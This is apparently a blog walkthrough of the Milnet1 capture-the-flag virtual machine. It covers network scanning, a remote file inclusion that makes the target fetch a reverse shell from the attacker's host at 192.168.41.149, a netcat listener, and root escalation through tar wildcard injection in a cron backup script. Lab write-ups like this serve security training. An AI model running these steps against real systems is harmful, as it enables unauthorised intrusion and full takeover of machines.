Milnet1
Tools:
- netdiscover
- Nmap
- Wfuzz
- Nikto
- Tamper Data
Use netdiscover to detect target IP address
netdiscover -i eth0 -r 192.168.41.0/24
![[title manually exploit [alt text]]](/images/blog/vulhub/milnet1/Selection_001.png)
192.168.41.154 is the target.
Then run nmap to detect opening ports and running services on the target machine.
nmap -sV -v -O -A -T5 192.168.41.154 -p-
![[title manually exploit [alt text]]](/images/blog/vulhub/milnet1/Selection_002.png)
port 22 and 80 are opening
use nmap to run http-enum script:
nmap 192.168.41.154 -p80 --script http-enum
![[title manually exploit [alt text]]](/images/blog/vulhub/milnet1/Selection_003.png)
The info.php file exists.
![[title manually exploit [alt text]]](/images/blog/vulhub/milnet1/Selection_005.png)
use nikto to scan
nikto -h 192.168.41.154
![[title manually exploit [alt text]]](/images/blog/vulhub/milnet1/Selection_006.png)
use wfuzz to scan
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --hc 404 http://192.168.41.154/FUZZ 2>/dev/null
nothing cool.
I use Tamper Data to exam the GET/POST request parameters.
![[title manually exploit [alt text]]](/images/blog/vulhub/milnet1/Selection_007.png)
find an interesting parameter. setup a netcat listerner, and change the parameter value to http://192.168.41.149/reverse?
(Here, at first I used reverse.php which created a local reverse shell back to my Kali. I guess there is a filter in target can filter php file, so I just remove .php)
get the shell:
![[title manually exploit [alt text]]](/images/blog/vulhub/milnet1/Selection_009.png)
In order to make the process easier, I create a short script send_post.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | |
Next enumeration, no luck on kernerl exploit, check contab job.
cat /etc/cron*
got /etc/crontab
![[title manually exploit [alt text]]](/images/blog/vulhub/milnet1/Selection_010.png)
read that file
cat /etc/crontab
![[title manually exploit [alt text]]](/images/blog/vulhub/milnet1/Selection_011.png)
found an interesting file: /backup/backup.sh
check that file
![[title manually exploit [alt text]]](/images/blog/vulhub/milnet1/Selection_012.png)
it uses tar. Searched exploits, no luck.
Under path /home/langman/SDINET, I found a file DefenseCode_Unix_WildCards_Gone_Wild.txt shows tar cdode execution,
![[title manually exploit [alt text]]](/images/blog/vulhub/milnet1/Selection_013.png)
in kali:
nc -nlvp 443
in target:
1 2 3 | |
get the root:
![[title manually exploit [alt text]]](/images/blog/vulhub/milnet1/Selection_014.png)